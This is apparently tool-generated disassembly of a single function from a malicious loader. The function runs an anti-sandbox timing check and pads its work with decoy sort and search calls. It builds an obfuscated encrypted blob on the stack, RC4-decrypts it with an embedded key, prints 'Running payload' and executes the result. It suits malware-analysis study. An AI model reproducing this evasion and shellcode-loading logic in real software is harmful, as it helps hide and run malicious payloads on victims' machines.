Function at 0x40ffe0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov eax, 0x10f0
mov ebp, esp
push edi
push esi
push ebx
and esp, 0xfffffff0
call fcn.004024f0
sub esp, eax
call dbg.__main
call sym._time_distortion
test eax, eax
je 0x41101d
lea edi, [esp + 0x3a4]
mov esi, 0x4125e0
mov ecx, 0x35
rep movsd dword es:[edi], dword [esi]
lea eax, [esp + 0x3a4]
mov dword [esp + 4], 0x35
mov dword [esp], eax
call sym._bubbel_sort
mov dword [esp], 0xf84
call sym._malloc
mov ebx, eax
test eax, eax
je 0x41004c
mov dword [eax], 0xdddd
add ebx, 8
mov edx, 0x12
lea edi, [esp + 0x84]
mov esi, 0x4126c0
mov ecx, edx
lea eax, [esp + 0x84]
rep movsd dword es:[edi], dword [esi]
mov dword [esp], eax
mov edi, ebx
mov esi, 0x412720
mov dword [esp + 0xc], 0x20
mov dword [esp + 8], 0x11
mov dword [esp + 4], 0
mov dword [esp + 0x1c], ecx
call sym._binary_search
mov edx, dword [esp + 0x1c]
mov ecx, 0x3df
mov eax, edx
rep stosd dword es:[edi], eax
mov dword [esp], 2
lea edi, [esp + 0x2fc]
call sym._fib
mov dword [esp], 0xb
call sym._fib
lea eax, [esp + 0x2fc]
mov ecx, 0x2a
mov dword [esp + 0xd11], 0x5a3bcc98
rep movsd dword es:[edi], dword [esi]
mov esi, 0x4127e0
mov dword [esp + 0xd15], 0x5e42444e
lea edi, [esp + 0xa20]
mov dword [esp + 0xd19], 0xa42de3a5
mov dword [esp + 0xd1d], 0x32c50b6a
mov dword [esp + 0xd21], 0x248e55fe
mov dword [esp + 0xd25], 0x490d5fd6
mov dword [esp + 0xd29], 0xe8f8478a
mov dword [esp + 0xd2d], 0x4e19cbc7
mov dword [esp + 0xd31], 0x815646fa
mov dword [esp + 0xd35], 0x170a29a3
mov dword [esp + 0xd39], 0x84f50bb1
mov dword [esp + 0xd3d], 0x4a8c8a03
mov dword [esp + 0xd41], 0xf32db871
mov dword [esp + 0xd45], 0xd55d25d1
mov dword [esp + 0xd49], 0x19a29865
mov dword [esp + 0xd4d], 0xd77e04b6
mov dword [esp + 0xc], 0x3f
mov dword [esp + 8], 0x29
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._binary_search
mov ecx, 0x5b
mov eax, 0xffffbd26
mov dword [esp + 0xd51], 0xcbec3807
rep movsd dword es:[edi], dword [esi]
mov esi, 0x412960
mov word [esp + 0xd69], ax
lea eax, [esp + 0xa20]
mov dword [esp + 0xc], 0x17
lea edi, [esp + 0x558]
mov dword [esp + 8], 0x5a
mov dword [esp + 4], 0
mov dword [esp], eax
mov dword [esp + 0xd55], 0xc9d0974a
mov dword [esp + 0xd59], 0x758cc4c7
mov dword [esp + 0xd5d], 0xfe40ed9b
mov dword [esp + 0xd61], 0xe8634ddf
mov dword [esp + 0xd65], 0x725fe185
mov byte [esp + 0xd6b], 0x95
call sym._binary_search
mov ecx, 0x39
lea eax, [esp + 0x558]
mov dword [esp + 0xd6c], 0xc106c3d6
rep movsd dword es:[edi], dword [esi]
mov dword [esp], eax
mov esi, 0x412a60
lea edi, [esp + 0x258]
mov dword [esp + 0xc], 0x42
mov dword [esp + 8], 0x38
mov dword [esp + 4], 0
mov dword [esp + 0xd70], 0xf07ded96
mov dword [esp + 0xd74], 0x95268147
mov byte [esp + 0xd78], 1
call sym._binary_search
lea eax, [esp + 0x258]
mov ecx, 0x29
mov dword [esp + 0xd79], 0xa46e07b9
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0xd7d], 0x100b7ec1
mov dword [esp + 0xd81], 0x5f5fb7c4
mov dword [esp + 0xd85], 0xa81bd75c
mov dword [esp + 0xd89], 0xe20216aa
mov dword [esp + 0xd8d], 0x76238865
mov dword [esp + 0xd91], 0xd27d941e
mov dword [esp + 0xd95], 0xf6058f03
mov dword [esp + 0xd99], 0x74d6d091
mov dword [esp + 0xd9d], 0xd84f3bb3
mov dword [esp + 0xda1], 0xfd5863f5
mov dword [esp + 0xda5], 0x51072e16
mov byte [esp + 0xda9], 0xaf
mov dword [esp + 0xc], 0x34
mov dword [esp + 8], 0x28
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._binary_search
mov eax, 0x6700
mov ecx, 0x16
mov dword [esp + 0xdaa], 0xf54cf9de
mov word [esp + 0xdbe], ax
mov eax, 0x39
mov dword [esp + 0xdae], 0xe4097a7
mov dword [esp + 0xdb2], 0x9505c729
mov dword [esp + 0xdb6], 0xa61b2a2c
mov dword [esp + 0xdba], 0x7662ddd
jmp 0x4103b2
mov ecx, edx
cdq
idiv ecx
mov eax, ecx
test edx, edx
jne 0x4103b0
mov dword [esp], 3
call sym._fib
mov edx, 0x3c
mov eax, 0x56
mov dword [esp + 0xdc0], 0x8ca6dd7f
mov dword [esp + 0xdc4], 0xa9157caf
mov dword [esp + 0xdc8], 0xdc6c4ef4
mov dword [esp + 0xdcc], 0xe69237d5
mov dword [esp + 0xdd0], 0x93abd80
mov dword [esp + 0xdd4], 0xd6cc2188
mov dword [esp + 0xdd8], 0x47f150f
mov dword [esp + 0xddc], 0x54ac65ec
mov dword [esp + 0xde0], 0x7e30ed
mov dword [esp + 0xde4], 0x4f9f3ecc
mov dword [esp + 0xde8], 0x7b63e029
mov dword [esp + 0xdec], 0xbe3466a4
mov dword [esp + 0xdf0], 0xc404c645
mov dword [esp + 0xdf4], 0x80929b5c
mov dword [esp + 0xdf8], 0xb81c7dc3
mov dword [esp + 0xdfc], 0x5b269b8e
mov dword [esp + 0xe00], 0x9f50e15e
mov dword [esp + 0xe04], 0xa1f9fede
mov dword [esp + 0xe08], 0x894f6e48
mov dword [esp + 0xe0c], 0x3f304602
mov dword [esp + 0xe10], 0x27cb3cfc
mov dword [esp + 0xe14], 0x4f9870a6
mov dword [esp + 0xe18], 0xa24d9564
mov dword [esp + 0xe1c], 0x4afcbb6f
mov dword [esp + 0xe20], 0x17af6379
mov dword [esp + 0xe24], 0x6d725bca
mov dword [esp + 0xe28], 0xcbadddf
mov dword [esp + 0xe2c], 0x2d8cfe68
mov dword [esp + 0xe30], 0x1e8ebab8
mov dword [esp + 0xe34], 0x5474041b
mov dword [esp + 0xe38], 0x976a7d70
mov dword [esp + 0xe3c], 0x6a3b1ec6
lea esi, [esi]
mov ecx, edx
cdq
idiv ecx
mov eax, ecx
test edx, edx
jne 0x410538
mov dword [esp + 0xe40], 0xa4d9fc47
mov esi, 0x412b20
lea edi, [esp + 0x8bc]
mov ecx, 0x59
mov dword [esp + 0xe44], 0x4ed93dc9
lea eax, [esp + 0x8bc]
mov dword [esp + 0xe48], 0x143ae5c9
mov dword [esp + 0xe4c], 0x77a65f0e
mov dword [esp + 0xe50], 0x8e89a31c
mov dword [esp + 0xe54], 0xd5f0f0d5
mov dword [esp + 0xe58], 0xf76d8706
mov dword [esp + 0xe5c], 0xf5d49718
mov dword [esp + 0xe60], 0xc2f4b2e3
mov dword [esp + 0xe64], 0xd378e452
mov dword [esp + 0xe68], 0xf7a58838
mov dword [esp + 0xe6c], 0x90353233
mov dword [esp + 0xe70], 0xfbe98522
mov dword [esp + 0xe74], 0xe9e6d9ad
mov dword [esp + 0xe78], 0x417b2414
mov dword [esp + 0xe7c], 0x6b367429
mov dword [esp + 0xe80], 0xd2598465
mov dword [esp + 0xe84], 0xe2051b1e
mov dword [esp + 0xe88], 0x46b13a7c
mov dword [esp + 0xe8c], 0x1fb9712f
mov dword [esp + 0xe90], 0xecdafab9
mov dword [esp + 0xe94], 0xae945cda
mov dword [esp + 0xe98], 0xe4d0f19f
mov dword [esp + 0xe9c], 0xf985e430
mov dword [esp + 0xea0], 0x72e05db6
mov dword [esp + 0xea4], 0x6f6dd8ee
mov dword [esp + 0xea8], 0xb5fc0ef5
mov dword [esp + 0xeac], 0xa14dd46b
mov dword [esp + 0xeb0], 0x61a2a3fa
mov dword [esp + 0xeb4], 0xdadd4bf5
mov dword [esp + 0xeb8], 0xaf3bb918
mov dword [esp + 0xebc], 0xe810bf46
mov byte [esp + 0xec0], 0x42
rep movsd dword es:[edi], dword [esi]
mov dword [esp], eax
mov dword [esp + 4], 0x59
call sym._bubbel_sort
mov edx, 0x3a
mov eax, 6
mov dword [esp + 0xec1], 0x1ed694df
mov dword [esp + 0xec5], 0x7c7f86cd
mov dword [esp + 0xec9], 0x798c3e99
mov dword [esp + 0xecd], 0x3804229a
lea esi, [esi]
nop
mov ecx, edx
cdq
idiv ecx
mov eax, ecx
test edx, edx
jne 0x410710
mov dword [esp + 0xed1], 0x413554cd
mov esi, 0x412ca0
lea edi, [esp + 0xcc]
mov ecx, 0x1d
mov dword [esp + 0xed5], 0x386ca889
mov edx, 0x3a0b
lea eax, [esp + 0xcc]
mov dword [esp + 0xed9], 0x8872614a
mov dword [esp + 0xedd], 0xda5f9df1
mov dword [esp + 0xee1], 0x4e47f543
mov dword [esp + 0xee5], 0xc3478270
mov dword [esp + 0xee9], 0x67f25b7f
mov dword [esp + 0xeed], 0x48111f49
mov dword [esp + 0xef1], 0xb0d7e789
mov dword [esp + 0xef5], 0x638d9762
mov dword [esp + 0xef9], 0x21307183
mov dword [esp + 0xefd], 0x7be5b1de
mov dword [esp + 0xf01], 0xf2224d65
mov dword [esp + 0xf05], 0x2d89e1e
mov dword [esp + 0xf09], 0x65fd4ea2
mov dword [esp + 0xf0d], 0xab9afe9c
mov dword [esp + 0xf11], 0x359b1463
mov dword [esp + 0xf15], 0xae08f9ca
mov dword [esp + 0xf19], 0x5c6b60c0
mov dword [esp + 0xf1d], 0x626c743c
mov dword [esp + 0xf21], 0x5d49388b
mov dword [esp + 0xf25], 0x4fcf5543
mov dword [esp + 0xf29], 0xa70c681a
mov dword [esp + 0xf2d], 0x1a642f3b
mov dword [esp + 0xf31], 0x827a722b
mov dword [esp + 0xf35], 0x1d634840
mov dword [esp + 0xf39], 0xbc2b77fe
mov dword [esp + 0xf3d], 0x3b312f51
mov dword [esp + 0xf41], 0x7fcc3049
mov dword [esp + 0xf45], 0xd514fd6e
mov dword [esp + 0xf49], 0x93c42a1d
mov dword [esp + 0xf4d], 0x8154ac89
mov dword [esp + 0xf51], 0x9fa2a371
rep movsd dword es:[edi], dword [esi]
mov dword [esp], eax
lea edi, [esp + 0xb8c]
mov esi, 0x412d20
mov dword [esp + 4], 0x1d
mov word [esp + 0xf95], dx
mov dword [esp + 0xf55], 0x33ed77ff
mov dword [esp + 0xf59], 0x96fd07c3
mov dword [esp + 0xf5d], 0x2b990f4d
mov dword [esp + 0xf61], 0xe22577d6
mov dword [esp + 0xf65], 0x93f6d09
mov dword [esp + 0xf69], 0x7da21093
mov dword [esp + 0xf6d], 0x85619080
mov dword [esp + 0xf71], 0xf4255057
mov dword [esp + 0xf75], 0xa58ab8d9
mov dword [esp + 0xf79], 0x7fc1593d
mov dword [esp + 0xf7d], 0x6076d4ed
mov dword [esp + 0xf81], 0x7e3899f0
mov dword [esp + 0xf85], 0xa3c0e354
mov dword [esp + 0xf89], 0x6a96299d
mov dword [esp + 0xf8d], 0x24569d22
mov dword [esp + 0xf91], 0xe2ae4bbc
call sym._bubbel_sort
lea eax, [esp + 0x2c]
mov dword [esp + 0xf97], 0xb886d93f
mov dword [esp + 0xf9b], 0x40a4c90f
mov dword [esp + 0xf9f], 0x636051ca
mov dword [esp + 0xfa3], 0xac2924fd
mov dword [esp + 0xfa7], 0xd079f3c1
mov dword [esp + 0xfab], 0xe99639ea
mov dword [esp + 0xfaf], 0x79b9a309
mov dword [esp + 0xfb3], 0x90ec039b
mov dword [esp + 0xfb7], 0x965cfed3
mov dword [esp + 0xfbb], 0x9f2c3240
mov dword [esp + 0xfbf], 0xebedb0a1
mov dword [esp + 0xfc3], 0x268634b7
mov dword [esp + 0xfc7], 0x14f8b43e
mov dword [esp + 0xfcb], 0x4c72dbf4
mov dword [esp + 0xfcf], 0xc67dfce7
mov dword [esp + 0xfd3], 0x87dd3e12
mov dword [esp + 0xfd7], 0x6fb15372
mov dword [esp + 0xfdb], 0x27696e9e
mov dword [esp + 0xfdf], 0x2fe8d2aa
mov dword [esp + 0xfe3], 0x851a02b4
mov dword [esp + 0xfe7], 0x97ec3da1
mov byte [esp + 0xfeb], 0xa2
mov dword [esp + 0x2c], 0x348
mov dword [esp + 0x30], 0x1ad
mov dword [esp + 0x34], 0x16b
mov dword [esp + 0x38], 0x1db
mov dword [esp + 0x3c], 0x26
mov dword [esp + 0x40], 0x24
mov dword [esp + 0x44], 0x36a
mov dword [esp + 0xc], 0xe
mov dword [esp + 8], 6
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._binary_search
mov ecx, 0xffff9657
lea eax, [esp + 0xb8c]
mov dword [esp + 0xfec], 0x21792a29
mov word [esp + 0x1018], cx
mov ecx, 0x61
rep movsd dword es:[edi], dword [esi]
mov dword [esp], eax
mov esi, 0xae1
lea edi, [esp + 0x140]
mov dword [esp + 0xc], 0x59
mov dword [esp + 8], 0x60
mov dword [esp + 4], 0
mov dword [esp + 0xff0], 0xbb72a171
mov dword [esp + 0xff4], 0xbc6c304c
mov dword [esp + 0xff8], 0xd108c2fd
mov dword [esp + 0xffc], 0x65daa8af
mov dword [esp + 0x1000], 0xc32551ee
mov dword [esp + 0x1004], 0xcac80458
mov dword [esp + 0x1008], 0x8c26c779
mov dword [esp + 0x100c], 0x4e4cad36
mov dword [esp + 0x1010], 0xd23fe9a3
mov dword [esp + 0x1014], 0x441ac8d4
call sym._binary_search
lea eax, [esp + 0x48]
mov word [esp + 0x1056], si
mov esi, 0x412ec0
mov dword [esp + 0x101a], 0x1b65c220
mov dword [esp + 0x101e], 0xb8b84ba4
mov dword [esp + 0x1022], 0x2465512a
mov dword [esp + 0x1026], 0xd65adb3f
mov dword [esp + 0x102a], 0xa7cbd6db
mov dword [esp + 0x102e], 0x4f6f8bd2
mov dword [esp + 0x1032], 0xef981650
mov dword [esp + 0x1036], 0xe9df89e5
mov dword [esp + 0x103a], 0x79525a02
mov dword [esp + 0x103e], 0xedfb5ec9
mov dword [esp + 0x1042], 0xc8dfbc81
mov dword [esp + 0x1046], 0xf4c7036c
mov dword [esp + 0x104a], 0x2b34221
mov dword [esp + 0x104e], 0x54c46780
mov dword [esp + 0x1052], 0xa517899f
mov byte [esp + 0x1058], 0x5a
mov dword [esp + 0x48], 0x29b
mov dword [esp + 0x4c], 0x24b
mov dword [esp + 0x50], 0x2cd
mov dword [esp + 0x54], 0x29
mov dword [esp + 0x58], 0x1fa
mov dword [esp + 0xc], 0x64
mov dword [esp + 8], 0xe
mov dword [esp + 4], 0
mov dword [esp], eax
mov dword [esp + 0x5c], 0x13c
mov dword [esp + 0x60], 0x2d2
mov dword [esp + 0x64], 0x23c
mov dword [esp + 0x68], 0x1fe
mov dword [esp + 0x6c], 0x2f4
mov dword [esp + 0x70], 0x3ec
mov dword [esp + 0x74], 0x1b7
mov dword [esp + 0x78], 0x34a
mov dword [esp + 0x7c], 0xa1
mov dword [esp + 0x80], 0x182
call sym._binary_search
mov ecx, 0x22
lea eax, [esp + 0x140]
mov dword [esp + 0x1059], 0xc94a6e3a
rep movsd dword es:[edi], dword [esi]
mov dword [esp], eax
mov edi, 0xf88
mov dword [esp + 4], 0x22
mov dword [esp + 0x105d], 0x9f991dd6
mov dword [esp + 0x1061], 0xd0ea2b29
mov dword [esp + 0x1065], 0x700801a2
call sym._bubbel_sort
mov edx, 0x4a
mov eax, 0x17
mov dword [esp + 0x1069], 0xf71c23a5
mov dword [esp + 0x106d], 0x714695b1
mov dword [esp + 0x1071], 0xc3efcc96
mov word [esp + 0x1075], di
mov byte [esp + 0x1077], 0xfd
lea esi, [esi]
nop
mov ecx, edx
cdq
idiv ecx
mov eax, ecx
test edx, edx
jne 0x410d70
lea edi, [esp + 0x478]
mov esi, 0x412f60
mov ecx, 0x38
mov dword [esp + 0x1078], 0x4c1f1bb5
rep movsd dword es:[edi], dword [esi]
mov esi, 0x413040
lea eax, [esp + 0x478]
mov dword [esp + 0xc], 0x25
mov dword [esp + 8], 0x37
lea edi, [esp + 0x778]
mov dword [esp + 4], 0
mov dword [esp], eax
mov dword [esp + 0x107c], 0xcf5dbff2
mov dword [esp + 0x1080], 0x6d38063d
mov dword [esp + 0x1084], 0x5b385ac2
mov dword [esp + 0x1088], 0x8d4e10a8
mov dword [esp + 0x108c], 0x966019e1
mov dword [esp + 0x1090], 0x2b7d50c6
mov dword [esp + 0x1094], 0x2b448dbb
mov dword [esp + 0x1098], 0x11536849
mov dword [esp + 0x109c], 0xff767a3a
mov dword [esp + 0x10a0], 0x275b6b14
mov dword [esp + 0x10a4], 0x14db954e
mov dword [esp + 0x10a8], 0xa1a0067f
mov dword [esp + 0x10ac], 0x7126f251
mov dword [esp + 0x10b0], 0x130b3632
mov dword [esp + 0x10b4], 0x4315ca20
mov byte [esp + 0x10b8], 0xdb
call sym._binary_search
mov ecx, 0x51
mov eax, 0xffff9bba
mov dword [esp + 0x10b9], 0x116ac2d6
rep movsd dword es:[edi], dword [esi]
mov esi, 0x4131a0
mov word [esp + 0x10ed], ax
lea eax, [esp + 0x778]
mov dword [esp], eax
lea edi, [esp + 0x63c]
mov dword [esp + 4], 0x51
mov dword [esp + 0x10bd], 0x23055262
mov dword [esp + 0x10c1], 0x8c4ebf61
mov dword [esp + 0x10c5], 0x9bf67b34
mov dword [esp + 0x10c9], 0x844bf500
mov dword [esp + 0x10cd], 0x30266688
mov dword [esp + 0x10d1], 0x47b442
mov dword [esp + 0x10d5], 0xc91c82be
mov dword [esp + 0x10d9], 0x5b2619e5
mov dword [esp + 0x10dd], 0xe295781c
mov dword [esp + 0x10e1], 0xc2842fd2
mov dword [esp + 0x10e5], 0xda89e50d
mov dword [esp + 0x10e9], 0x8b87e792
mov byte [esp + 0x10ef], 0xd8
call sym._bubbel_sort
lea eax, [esp + 0xd11]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], 0x3df
mov dword [esp + 4], eax
mov dword [esp], str.orySVsTrBRNaJXywFdtgcplIymiaJDubNpPMnWpelU
call sym._RC4
mov ecx, 0x4f
lea eax, [esp + 0x63c]
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0xc], 0x11
mov dword [esp + 8], 0x4e
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._binary_search
mov edx, 0x1a
mov eax, 0x5e
lea esi, [esi]
mov ecx, edx
cdq
idiv ecx
mov eax, ecx
test edx, edx
jne 0x410fa8
mov edx, 0x5d
mov eax, 0x23
lea esi, [esi]
mov ecx, edx
cdq
idiv ecx
mov eax, ecx
test edx, edx
jne 0x410fc0
mov dword [esp], str.Running_payload_n
lea edi, [esp + 0x1c8]
mov esi, 0x4132e0
call sym._printf.constprop.0
call ebx
mov ecx, 0x24
lea eax, [esp + 0x1c8]
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0xc], 0x5f
mov dword [esp + 8], 0x23
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._binary_search
lea esp, [ebp - 0xc]
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], 1
call sym._exit
nop
nop
nop
nop
nop
nop
nop